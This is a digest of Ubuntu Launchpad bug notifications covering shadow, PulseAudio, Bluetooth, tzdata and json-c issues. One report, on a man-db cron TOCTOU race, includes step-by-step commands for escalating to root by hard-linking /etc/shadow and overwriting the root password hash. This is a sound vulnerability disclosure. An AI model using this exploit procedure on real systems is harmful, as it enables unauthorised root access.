dmi:bvnDellInc.:bvrA13:bd06/27/2008:svnDellInc.:pnInspiron1525:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct8:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 1525
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1878327/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 914499] Re: 'su --help' exits with error code 2

2020-05-19 Thread Serge Hallyn
** Changed in: shadow (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/914499

Title:
  'su --help' exits with error code 2

Status in shadow package in Ubuntu:
  Fix Released

Bug description:
  Version: 1:4.1.4.2-1ubuntu3.2

  Linux applications that have a "help" or "usage" option almost
  universally print the requested help to stdout and return with an exit
  code of zero.  There was, after all, no error since the user
  explicitly requested this output.

  'su --help', for no apparent reason, prints its help to stderr and
  exits with code 2.  As long as there is a non-zero exit code, output
  to stderr is correct, but it I am convinced the exit code should be
  zero and the output should go to stdout.

  Oddly, although the 'man su' pages do not list -h or --help among the
  available options, 'su --help' does (it also does not complain of an
  invalid option).

  I'm reporting this here because the su maintainers are listed as
  "Ubuntu Developers ".

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/914499/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1388272] Re: Login screen shows different background picture such as set for desktop background

2020-05-19 Thread Serge Hallyn
This clearly is not related to shadow, but which package it affects
would depend on which login manager was being used.  In the unlikely
event this is still an issue, please re-open this bug and let us know
which you are using.

** Changed in: shadow (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1388272

Title:
  Login screen shows different background picture such as set for
  desktop background

Status in shadow package in Ubuntu:
  Incomplete

Bug description:
  Ubuntu 14.10 shows a different background for login screen such as set
  for desktop background. In 14.04 it was working fine. I don't know
  what's the original behavior of 14.10, it may have change since 14.04

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1388272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1482786] Re: man-db daily cron job TOCTOU bug when processing catman pages

2020-05-19 Thread Serge Hallyn
@cjwatson - is it safe to assume the fix was entirely in man-db?  Or was
shadow supposed to do something here as well?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1482786

Title:
  man-db daily cron job TOCTOU bug when processing catman pages

Status in apport package in Ubuntu:
  Confirmed
Status in man-db package in Ubuntu:
  Fix Released
Status in pam package in Ubuntu:
  Confirmed
Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  The daily mandb cleanup job for old catman pages changes the
  permissions of all non-man files to user man. The problematic code is:

  # expunge old catman pages which have not been read in a week
  if [ -d /var/cache/man ]; then
cd /
if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then
  find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
xargs -r0 chown -f man || true
fi
...

  By creating a hard link and winning the race, user man may escalate
  privileges to user root. See [1] for full explanation.

  man# mkdir -p /var/cache/man/etc
  man# ln /var/crash/.lock /var/cache/man/etc/shadow
  man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath 
/var/cache/man/etc --LinkTarget /etc
  ... Wait till daily cronjob was run
  man# cp /etc/shadow .
  man# sed -r -e 
's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:9:7:::/' 
/etc/shadow > x
  man# cat x > /etc/shadow; rm x
  man# su -s /bin/sh (password is 123)
  root# cat shadow > /etc/shadow; chown root /etc/shadow

  
  # lsb_release -rd
  Description:Ubuntu 14.04.3 LTS
  Release:14.04

  # apt-cache policy man-db
  man-db:
Installed: 2.6.7.1-1ubuntu1
Candidate: 2.6.7.1-1ubuntu1
Version table:
   *** 2.6.7.1-1ubuntu1 0
  500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.6.7.1-1 0
  500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages

  [1]
  http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1482786/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1450880] Re: Impossible to set root password in Ubuntu Touch

2020-05-19 Thread Serge Hallyn
If this is still an issue, please re-open this bug.

** Changed in: shadow (Ubuntu)
   Status: Confirmed => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1450880

Title:
  Impossible to set root password in Ubuntu Touch

Status in shadow package in Ubuntu:
  Invalid

Bug description:
  On the bq Aquaris Ubuntu Edition it is not possible to set a root password. 
Normally you can use
  sudo passwd root
  to set the root password, but this fail with following message:
  passwd: Authentication token manipulation error
  passwd: password unchanged

  On the Ubuntu on my pc I  do not use a root password, as my user password is 
strong enough. But on a smart phone I use a shorter password, as I have to 
enter it way too often. Also I guess this counts for most other users.
  The root access should be still secure, so a separate root password is needed.

  ProblemType: Bug
  DistroRelease: Ubuntu RTM 14.09
  Package: passwd 1:4.1.5.1-1.1ubuntu2
  Uname: Linux 3.4.67 armv7l
  ApportVersion: 2.14.7-0ubuntu8
  Architecture: armhf
  Date: Sat Apr 18 18:30:19 2015
  InstallationDate: Installed on 2015-04-10 (7 days ago)
  InstallationMedia: Ubuntu Utopic Unicorn (development branch) - armhf 
(20150410-232623)
  SourcePackage: shadow
  UpgradeStatus: No upgrade log present (probably fresh install)
  modified.conffile..etc.cron.daily.passwd: [deleted]

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1450880/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1547907] Re: package login 1:4.1.5.1-1ubuntu9.2 failed to install/upgrade: unable to install new version of `/bin/su': Device or resource busy

2020-05-19 Thread Serge Hallyn
Thanks for reporting this bug.  Please reply if you have some situation
where this might still occur.

** Changed in: shadow (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1547907

Title:
  package login 1:4.1.5.1-1ubuntu9.2 failed to install/upgrade: unable
  to install new version of `/bin/su': Device or resource busy

Status in shadow package in Ubuntu:
  Invalid

Bug description:
  This happens on every startup

  ProblemType: Package
  DistroRelease: Ubuntu 14.04
  Package: login 1:4.1.5.1-1ubuntu9.2
  ProcVersionSignature: Ubuntu 3.13.0-77.121-generic 3.13.11-ckt32
  Uname: Linux 3.13.0-77-generic x86_64
  ApportVersion: 2.14.1-0ubuntu3.19
  Architecture: amd64
  Date: Thu Feb 18 22:39:20 2016
  DpkgTerminalLog:
   Preparing to unpack .../login_1%3a4.1.5.1-1ubuntu9.2_amd64.deb ...
   Unpacking login (1:4.1.5.1-1ubuntu9.2) over (1:4.1.5.1-1ubuntu9.1) ...
  DuplicateSignature: package:login:1:4.1.5.1-1ubuntu9.2:unable to install new 
version of `/bin/su': Device or resource busy
  ErrorMessage: unable to install new version of `/bin/su': Device or resource 
busy
  InstallationDate: Installed on 2015-01-31 (385 days ago)
  InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 
(20140722.2)
  RelatedPackageVersions:
   dpkg 1.17.5ubuntu5.5
   apt  1.0.1ubuntu2.11
  SourcePackage: shadow
  Title: package login 1:4.1.5.1-1ubuntu9.2 failed to install/upgrade: unable 
to install new version of `/bin/su': Device or resource busy
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1547907/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1565345] Re: ubuntuBSD support

2020-05-19 Thread Serge Hallyn
Hi,

looking at the package today, control already has libaudit-dev [linux-
any] and --with-audit was dropped from rules, so I believe what you want
should already be achieved.  Please re-open if that's not the case.

** Changed in: shadow (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1565345

Title:
  ubuntuBSD support

Status in shadow package in Ubuntu:
  Fix Released

Bug description:
  Hi

  Please could you apply attached patch to make shadow buildable on
  ubuntuBSD? It just needs to adjust the libaudit dependency and build
  flags.

  Thanks!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1565345/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1679765] Re: cannot lock password for user created with useradd --extrausers

2020-05-19 Thread Serge Hallyn
Extrausers is a concept introduced by the libnss-extrausers package.
shadow and passwd simply know nothing about it.

It simply is not a bug in the shadow package. It's a wholly un-
implemented feature. It's not clear to me how this would function -
after all these are supposed to be accounts 'copied from other systems'
according to the package.  And I'm not clear on how these would relate
to ldap, for instance.

So if you are interested in using passwd or usermod for these, I would
recommend opening a discussion at either (or both) github.com/shadow-
maint/shadow/issues, or probably better at the libnss-extrausers
package.

** Changed in: shadow (Ubuntu)
   Status: Confirmed => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1679765

Title:
  cannot lock password for user created with useradd --extrausers

Status in shadow package in Ubuntu:
  Invalid

Bug description:
  passwd -l does not take --extrausers or otherwise work for extrausers.
  Neither does usermod.

  % mkdir -p /var/lib/extrausers
  % for f in passwd group gshadow subuid subgid shadow; do touch 
/var/lib/extrausers/$f; done
  % useradd foo --extrausers --shell /bin/bash -m
  % echo $?
  0
  % # cat /var/lib/extrausers/passwd
  foo:x:1001:1001::/home/foo:/bin/bash

  % passwd -l foo
  passwd: user 'foo' does not exist

  % passwd --extrausers -l foo
  passwd: unrecognized option '--extrausers'

  % usermod --lock foo
  usermod: user 'foo' does not exist

  % usermod --extrausers --lock foo
  usermod: unrecognized option '--extrausers'

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: passwd 1:4.2-3.1ubuntu5
  ProcVersionSignature: Ubuntu 4.9.0-15.16-generic 4.9.5
  Uname: Linux 4.9.0-15-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  Date: Tue Apr  4 16:34:20 2017
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
  SourcePackage: shadow
  UpgradeStatus: No upgrade log present (probably fresh install)

  Related bugs:
   * bug 1679777: Adding and reporting ssh keys fails for user in extrausers

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1679765/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879582] Re: [Redmi AirDots Bluetooth] I need to remove device in settings every time i want to connect again

2020-05-19 Thread Hui Wang
When the bluetooth headphone is trying to connect on the 2nd time (will
fail), could you see any error message from syslog?

open a terminal and run 'tail -f /var/log/syslog', then reconnect the
bluetooth headphone.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1879582

Title:
  [Redmi AirDots Bluetooth] I need to remove device in settings every
  time i want to connect again

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  I can connect to my bluetooth phone only the first time after pair the 
device. It works until disconnecting, (whether by turning off the phone, or 
putting into the case, or disconnecting in ubuntu settings), and then i turn on 
the phone again (or remove from the case), i cannot connect until I manually 
remove from bluetooth devices list in Ubuntu Settings, and then pair it again.. 
  If the Ubuntu/Gnome Settings is opened, i can see the status "connected" 
blinks, and fastly change to "disconnected".

  My bluetooth phone works fine with another devices.
  Ubuntu 20.04 LTS
  Laptop Acer Aspire Nitro 5 (AN515-52-5771).

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  felipe 2149 F pulseaudio
   /dev/snd/controlC0:  felipe 2149 F pulseaudio
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue May 19 19:10:35 2020
  InstallationDate: Installed on 2020-04-29 (20 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_Card: Redmi AirDots_R
  Symptom_Type: None of the above
  Title: [Redmi AirDots_R, playback] Playback problem
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/05/2019
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: V1.28
  dmi.board.asset.tag: Type2 - Board Serial Number
  dmi.board.name: Freed_CFS
  dmi.board.vendor: CFL
  dmi.board.version: V1.28
  dmi.chassis.type: 10
  dmi.chassis.vendor: Acer
  dmi.chassis.version: V1.28
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrV1.28:bd08/05/2019:svnAcer:pnNitroAN515-52:pvrV1.28:rvnCFL:rnFreed_CFS:rvrV1.28:cvnAcer:ct10:cvrV1.28:
  dmi.product.family: Nitro 5
  dmi.product.name: Nitro AN515-52
  dmi.product.sku: 
  dmi.product.version: V1.28
  dmi.sys.vendor: Acer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1879582/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878108] Re: new upstream release 2020a

2020-05-19 Thread Launchpad Bug Tracker
This bug was fixed in the package tzdata - 2020a-0ubuntu0.19.10

---
tzdata (2020a-0ubuntu0.19.10) eoan; urgency=medium

  * New upstream release (LP: #1878108), affecting past and future timestamps:
- Morocco springs forward on 2020-05-31, not 2020-05-24.
- Canada's Yukon advanced to -07 year-round on 2020-03-08.
- America/Nuuk renamed from America/Godthab.

 -- Brian Murray   Thu, 07 May 2020 16:41:42 -0700

** Changed in: tzdata (Ubuntu Focal)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to tzdata in Ubuntu.
https://bugs.launchpad.net/bugs/1878108

Title:
  new upstream release 2020a

Status in tzdata package in Ubuntu:
  Fix Released
Status in tzdata source package in Trusty:
  In Progress
Status in tzdata source package in Xenial:
  Fix Released
Status in tzdata source package in Bionic:
  Fix Released
Status in tzdata source package in Eoan:
  Fix Released
Status in tzdata source package in Focal:
  Fix Released

Bug description:
  There is a new upstream release of tzdata, 2020, which includes the
  following:

    * New upstream release, affecting past and future timestamps:
  - Morocco springs forward on 2020-05-31, not 2020-05-24.
  - Canada's Yukon advanced to -07 year-round on 2020-03-08.
  - America/Nuuk renamed from America/Godthab.

  Verification is done with 'zdump'. The first timezone that gets
  changed in the updated package is dumped with "zdump -v
  $region/$timezone_that_changed" (this needed to be greped for in
  /usr/share/zoneinfo/). [For example: "zdump -v Africa/Casablanca".]
  This is compared to the same output after the updated package got
  installed. If those are different the verification is considered done.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1878108/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878108] Re: new upstream release 2020a

2020-05-19 Thread Launchpad Bug Tracker
This bug was fixed in the package tzdata - 2020a-0ubuntu0.20.04

---
tzdata (2020a-0ubuntu0.20.04) focal; urgency=medium

  * New upstream release (LP: #1878108), affecting past and future timestamps:
- Morocco springs forward on 2020-05-31, not 2020-05-24.
- Canada's Yukon advanced to -07 year-round on 2020-03-08.
- America/Nuuk renamed from America/Godthab.

 -- Brian Murray   Thu, 07 May 2020 14:04:46 -0700

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to tzdata in Ubuntu.
https://bugs.launchpad.net/bugs/1878108

Title:
  new upstream release 2020a

Status in tzdata package in Ubuntu:
  Fix Released
Status in tzdata source package in Trusty:
  In Progress
Status in tzdata source package in Xenial:
  Fix Released
Status in tzdata source package in Bionic:
  Fix Released
Status in tzdata source package in Eoan:
  Fix Released
Status in tzdata source package in Focal:
  Fix Released

Bug description:
  There is a new upstream release of tzdata, 2020, which includes the
  following:

    * New upstream release, affecting past and future timestamps:
  - Morocco springs forward on 2020-05-31, not 2020-05-24.
  - Canada's Yukon advanced to -07 year-round on 2020-03-08.
  - America/Nuuk renamed from America/Godthab.

  Verification is done with 'zdump'. The first timezone that gets
  changed in the updated package is dumped with "zdump -v
  $region/$timezone_that_changed" (this needed to be greped for in
  /usr/share/zoneinfo/). [For example: "zdump -v Africa/Casablanca".]
  This is compared to the same output after the updated package got
  installed. If those are different the verification is considered done.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1878108/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878108] Re: new upstream release 2020a

2020-05-19 Thread Launchpad Bug Tracker
This bug was fixed in the package tzdata - 2020a-0ubuntu0.18.04

---
tzdata (2020a-0ubuntu0.18.04) bionic; urgency=medium

  * New upstream release (LP: #1878108), affecting past and future timestamps:
- Morocco springs forward on 2020-05-31, not 2020-05-24.
- Canada's Yukon advanced to -07 year-round on 2020-03-08.
- America/Nuuk renamed from America/Godthab.

 -- Brian Murray   Thu, 07 May 2020 17:01:38 -0700

** Changed in: tzdata (Ubuntu Eoan)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to tzdata in Ubuntu.
https://bugs.launchpad.net/bugs/1878108

Title:
  new upstream release 2020a

Status in tzdata package in Ubuntu:
  Fix Released
Status in tzdata source package in Trusty:
  In Progress
Status in tzdata source package in Xenial:
  Fix Released
Status in tzdata source package in Bionic:
  Fix Released
Status in tzdata source package in Eoan:
  Fix Released
Status in tzdata source package in Focal:
  Fix Released

Bug description:
  There is a new upstream release of tzdata, 2020, which includes the
  following:

    * New upstream release, affecting past and future timestamps:
  - Morocco springs forward on 2020-05-31, not 2020-05-24.
  - Canada's Yukon advanced to -07 year-round on 2020-03-08.
  - America/Nuuk renamed from America/Godthab.

  Verification is done with 'zdump'. The first timezone that gets
  changed in the updated package is dumped with "zdump -v
  $region/$timezone_that_changed" (this needed to be greped for in
  /usr/share/zoneinfo/). [For example: "zdump -v Africa/Casablanca".]
  This is compared to the same output after the updated package got
  installed. If those are different the verification is considered done.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1878108/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878108] Re: new upstream release 2020a

2020-05-19 Thread Launchpad Bug Tracker
This bug was fixed in the package tzdata - 2020a-0ubuntu0.16.04

---
tzdata (2020a-0ubuntu0.16.04) xenial; urgency=medium

  * New upstream release (LP: #1878108), affecting past and future timestamps:
- Morocco springs forward on 2020-05-31, not 2020-05-24.
- Canada's Yukon advanced to -07 year-round on 2020-03-08.
- America/Nuuk renamed from America/Godthab.

 -- Brian Murray   Thu, 07 May 2020 17:07:35 -0700

** Changed in: tzdata (Ubuntu Xenial)
   Status: Fix Committed => Fix Released

** Changed in: tzdata (Ubuntu Bionic)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to tzdata in Ubuntu.
https://bugs.launchpad.net/bugs/1878108

Title:
  new upstream release 2020a

Status in tzdata package in Ubuntu:
  Fix Released
Status in tzdata source package in Trusty:
  In Progress
Status in tzdata source package in Xenial:
  Fix Released
Status in tzdata source package in Bionic:
  Fix Released
Status in tzdata source package in Eoan:
  Fix Released
Status in tzdata source package in Focal:
  Fix Released

Bug description:
  There is a new upstream release of tzdata, 2020, which includes the
  following:

    * New upstream release, affecting past and future timestamps:
  - Morocco springs forward on 2020-05-31, not 2020-05-24.
  - Canada's Yukon advanced to -07 year-round on 2020-03-08.
  - America/Nuuk renamed from America/Godthab.

  Verification is done with 'zdump'. The first timezone that gets
  changed in the updated package is dumped with "zdump -v
  $region/$timezone_that_changed" (this needed to be greped for in
  /usr/share/zoneinfo/). [For example: "zdump -v Africa/Casablanca".]
  This is compared to the same output after the updated package got
  installed. If those are different the verification is considered done.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1878108/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878738] Re: program abort by "lh_table_new: calloc failed"

2020-05-19 Thread yusuke mihara
thank you, Leonidas.
I checked the program(and our products) running normally with reverted package.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to json-c in Ubuntu.
https://bugs.launchpad.net/bugs/1878738

Title:
  program abort  by "lh_table_new: calloc failed"

Status in json-c package in Ubuntu:
  Confirmed

Bug description:
  I wrote small sample program which abort by lh_table_new calloc failed.
  see this.
  https://gist.github.com/735eec6fd0869df1facb08da5baa402c

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/json-c/+bug/1878738/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878108] Update Released

2020-05-19 Thread Chris Halse Rogers
The verification of the Stable Release Update for tzdata has completed
successfully and the package is now being released to -updates.
Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report.  In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to tzdata in Ubuntu.
https://bugs.launchpad.net/bugs/1878108

Title:
  new upstream release 2020a

Status in tzdata package in Ubuntu:
  Fix Released
Status in tzdata source package in Trusty:
  In Progress
Status in tzdata source package in Xenial:
  Fix Released
Status in tzdata source package in Bionic:
  Fix Released
Status in tzdata source package in Eoan:
  Fix Released
Status in tzdata source package in Focal:
  Fix Released

Bug description:
  There is a new upstream release of tzdata, 2020, which includes the
  following:

    * New upstream release, affecting past and future timestamps:
  - Morocco springs forward on 2020-05-31, not 2020-05-24.
  - Canada's Yukon advanced to -07 year-round on 2020-03-08.
  - America/Nuuk renamed from America/Godthab.

  Verification is done with 'zdump'. The first timezone that gets
  changed in the updated package is dumped with "zdump -v
  $region/$timezone_that_changed" (this needed to be greped for in
  /usr/share/zoneinfo/). [For example: "zdump -v Africa/Casablanca".]
  This is compared to the same output after the updated package got
  installed. If those are different the verification is considered done.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1878108/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878327] Re: [Dell Inspiron 1525] Pulse audio update made internal speakers as Dummy Output

2020-05-19 Thread Mathew Hodson
*** This bug is a duplicate of bug 1876065 ***
https://bugs.launchpad.net/bugs/1876065

** Tags removed: regression-update
** Tags added: regression-release

** Tags removed: regression

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1878327

Title:
  [Dell Inspiron 1525] Pulse audio update made internal speakers as
  Dummy Output

Status in pulseaudio package in Ubuntu:
  Confirmed

Bug description:
  I had already reported bug #1876238 where internal speakers are not
  detected but shown as Dummy Output after upgrading Ubuntu from 19.10
  to 20.04 LTS Focal.

  It was solved by this patch:
  https://launchpad.net/~kaihengfeng/+archive/ubuntu/fix-lp1869819

  The current PulseAudio update today reversed that again. Internal
  speakers are not being detected and are shown as Dummy Output.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  raj2016 F pulseaudio
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Wed May 13 09:02:53 2020
  InstallationDate: Installed on 2016-12-20 (1239 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/27/2008
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A13
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA13:bd06/27/2008:svnDellInc.:pnInspiron1525:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct8:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 1525
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1878327/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1869819] Re: [SRU] System can't detect external headset in the codec of Conexant

2020-05-19 Thread Mathew Hodson
** Tags removed: regression-proposed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1869819

Title:
  [SRU] System can't detect external headset in the codec of Conexant

Status in OEM Priority Project:
  Confirmed
Status in OEM Priority Project bionic series:
  New
Status in pulseaudio package in Ubuntu:
  Fix Released
Status in pulseaudio source package in Bionic:
  In Progress
Status in pulseaudio source package in Focal:
  Fix Released

Bug description:
  [Impact]
  In some hp's devices, there are two audio jacks(one headset and one 
headphone) in the audio interface which is using the codec of Conexant, and 
apparently it's not working, the system can't detect the headset in current 
codec.

  [Test Case]
  1. Insert 4 rings(3 stripes) headset into front audio port (headset icon)
  2. Check System Setting->Sound->Output

  [Expected result]
  Can detect external headset

  [Actual result]
  Only shows internal speaker.
  External headset microphone was detected.
  Another front audio port (earphone icon) works fine.

  [Regression Potential]
  Low.

  [Failure rate]
  100%

  [Additional information]
  system-product-name: HP EliteDesk 800 G5 SFF
  CPU: Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz (8x)
  GPU: 00:02.0 VGA compatible controller [0300]: Intel Corporation Device 
[8086:3e98] (rev 02)
  OS-version: 18.04
  kernel-version: 4.15.0-1065-oem
  pulseaudio-version: 1:11.1-1ubuntu7.2

  Upstream issue:
  https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/272

  Ubuntu-Focal-Source:
  
https://code.launchpad.net/~hugh712/ubuntu/+source/pulseaudio/+git/pulseaudio/+ref/focal-1869819

  PPA: https://launchpad.net/~hugh712/+archive/ubuntu/sru-1869819

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/1869819/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
